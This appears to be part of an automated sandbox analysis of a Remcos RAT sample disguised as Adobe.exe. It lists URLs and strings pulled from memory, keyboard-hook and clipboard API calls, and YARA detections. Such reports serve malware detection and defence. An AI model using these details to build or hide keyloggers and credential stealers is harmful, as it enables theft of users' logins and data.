                Source: Adobe.exe, 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
                Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertCloudServicesCA-1.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://cacerts.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crt0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl0?
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0H
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0~
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://crl4.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0
                Source: rSOD219ISF-____.scr.exe, Adobe.exe, 00000004.00000002.4178605857.00000000015F3000.00000004.00000020.00020000.00000000.sdmp, Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, bhv96DB.tmp.5.drString found in binary or memory: http://geoplugin.net/json.gp
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp.
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1733891519.0000000003AE2000.00000004.00000800.00020000.00000000.sdmp, rSOD219ISF-____.scr.exe, 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Adobe.exe, 00000011.00000002.2041165688.0000000004671000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                Source: Adobe.exe, 00000004.00000002.4178605857.00000000015D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpl
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.digicert.com0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.digicert.com0:
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.digicert.com0H
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.digicert.com0I
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.digicert.com0Q
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.msocsp.com0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocsp.msocsp.com0S
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://ocspx.digicert.com0E
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1731455091.0000000002B4E000.00000004.00000800.00020000.00000000.sdmp, rSOD219ISF-____.scr.exe, 00000000.00000002.1731455091.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000003.00000002.1743546290.00000000031E1000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000003.00000002.1743546290.0000000003274000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000009.00000002.1850620884.0000000002B7D000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000009.00000002.1850620884.0000000002B0B000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 0000000E.00000002.1936073198.00000000032EB000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 0000000E.00000002.1936073198.0000000003361000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000011.00000002.2020151696.000000000369B000.00000004.00000800.00020000.00000000.sdmp, Adobe.exe, 00000011.00000002.2020151696.000000000370D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://www.digicert.com/CPS0
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://www.digicert.com/CPS0~
                Source: Adobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fonts.com
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.goodfont.co.kr
                Source: Adobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.com
                Source: Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
                Source: Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
                Source: bhv96DB.tmp.5.drString found in binary or memory: http://www.msftconnecttest.com/connecttest.txt?n=1696334965379
                Source: Adobe.exe, 00000005.00000002.1828485865.00000000007C4000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
                Source: Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sajatypeworks.com
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sakkal.com
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.sandoll.co.kr
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.tiro.com
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.typography.netD
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.urwpp.deDPlease
                Source: rSOD219ISF-____.scr.exe, 00000000.00000002.1736598400.0000000007162000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?18b635b804a8d6ad0a1fa437
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://18a72a1f5c7b170c6cc0a459d463264e.azr.footprintdns.com/apc/trans.gif?c9b5e9d2b836931c8ddd4e8d
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?1c89d9658c6af83a02d98b03
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://4c4f378c706610974da9cb9d99fe3116.azr.footprintdns.com/apc/trans.gif?74b620657ac570f7999e6ad7
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?cf2d8bf3b68a3e37eef992d5
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://58293426822f9aaf9d7c729f28294583.azr.footprintdns.com/apc/trans.gif?fc66b8a78ab7a1394f56e742
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?66601c3b572f284b9da07fcc
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://86dd05e6f545b5502aade4a1946d3e9d.azr.footprintdns.com/apc/trans.gif?f67d919da1a9ba8a5672367d
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=W
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?467894188c5d788807342326
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://acae307a6acdd4e64531be6276770618.azr.footprintdns.com/apc/trans.gif?a176b93f037f93b5720edf68
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://config.edge.skype.com/config/v1/ODSP_Sync_Client/19.043.0304.0013?UpdateRing=Prod&OS=Win&OSV
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://config.edge.skype.com/config/v1/Skype/1446_8.53.0.77?OSVer=10.0.19045.2006&ClientID=RHTiQUpX
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BL2r8e&Fr
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-BLUr5a&Fr
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-BL2r8e&FrontEnd=AFD
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-afd-nocache-ccp.azureedge.net/apc/trans.gif?99bdaa7641aea1439604d0afe8971477
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-afd-nocache-ccp.azureedge.net/apc/trans.gif?bc7d158a1b0c0bcddb88a222b6122bda
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?60caefc8ca640843bccad421cfaadcc8
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-afdx-bpdee4gtg6frejfd.z01.azurefd.net/apc/trans.gif?a9bddedb22fa9ee1d455a5d5a89b950c
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vp-nocache.azureedge.net/apc/trans.gif?4be9f57fdbd89d63c136fa90032d1d91
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vp-nocache.azureedge.net/apc/trans.gif?e5772e13592c9d33c9159aed24f891a7
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?a6aceac28fb5ae421a73cab7cdd76bd8
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vp.azureedge.net/apc/trans.gif?b57fe5cd49060a950d25a1d237496815
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?2f6c563d6db8702d4f61cfc28e14d6ba
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?3dacce210479f0b4d47ed33c21160712
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?7e0e9c3a9f02f17275e789accf11532b
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vs-nocache.azureedge.net/apc/trans.gif?81f59f7d566abbd2077a5b6cdfd04c7b
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?3c5bdbf226e2549812723f51b8fe2023
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?c50299ad5b45bb3d4c7a57024998a291
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://fp.msedge.net/conf/v2/asgw/fpconfig.min.json?monitorId=asgw
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                Source: Adobe.exe, 00000005.00000002.1828960927.000000000103C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srfhttps://login.liv
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize?response_type=code&client_id=d3590ed6-52b3-4102-ae
                Source: Adobe.exeString found in binary or memory: https://login.yahoo.com/config/login
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qo
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://maps.windows.com/windows-app-web-link
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-09-17-00-05-23/PreSignInSettingsConfig.json?One
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/update100.xml?OneDriveUpdate=27ff908e89d7b6264fde
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=586ba6
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=7ccb04
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/dfb21df16475d4e5b2b0ba41e6c4e842c100b150.xml?OneDriveUpdate=b1ed69
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?17a81fd4cdc7fc73a2b4cf5b67ff816d
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?29331761644ba41ebf9abf96ecc6fbad
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?2f153f40414852a5ead98f4103d563a8
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://ow1.res.office365.com/apc/trans.gif?a50e32ebd978eda4d21928b1dbc78135
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-0debb885be07c402c948.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ec3581b6c9e6e9985aa7.chunk.v7.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.6c288f9aff9797959103.chunk.v7.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.9ba2d4c9e339ba497e10.chunk.v7.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-1652fd8b358d589e6ec0.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.52c45571d19ede0a7005.chunk.v7.j
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.d918c7fc33e22b41b936.chunk.v7.c
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://rum8.perf.linkedin.com/apc/trans.gif?690daf9375f3d267a5b7b08fbc174993
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://rum8.perf.linkedin.com/apc/trans.gif?fe61b216ccbcc1bca02cb20f2e94fb51
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?909b77fc750668f20e07288ff0ed43e2
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://sin06prdapp01-canary-opaph.netmon.azure.com/apc/trans.gif?c6931b9e725f95cf9c20849dd6498c59
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://www.digicert.com/CPS0
                Source: Adobe.exe, Adobe.exe, 00000008.00000002.1822520343.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                Source: Adobe.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
                Source: bhv96DB.tmp.5.drString found in binary or memory: https://www.office.com/

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Contains functionality to register a low level keyboard hook
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040A2B8 SetWindowsHookExA 0000000D,0040A2A4,000000002_2_0040A2B8
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,2_2_0040B70E
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_004168C1 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,2_2_004168C1
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,5_2_0040987A
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 5_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,5_2_004098E2
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,7_2_00406DFC
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 7_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,7_2_00406E9F
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,8_2_004068B5
                Source: C:\ProgramData\Adobe\Adobe.exeCode function: 8_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,8_2_004072B5
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040B70E OpenClipboard,GetClipboardData,CloseClipboard,2_2_0040B70E
                Source: C:\Users\user\Desktop\rSOD219ISF-____.scr.exeCode function: 2_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,2_2_0040A3E0

                E-Banking Fraud

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.rSOD219ISF-____.scr.exe.400000.0.unpack, type: UNPACKEDPE
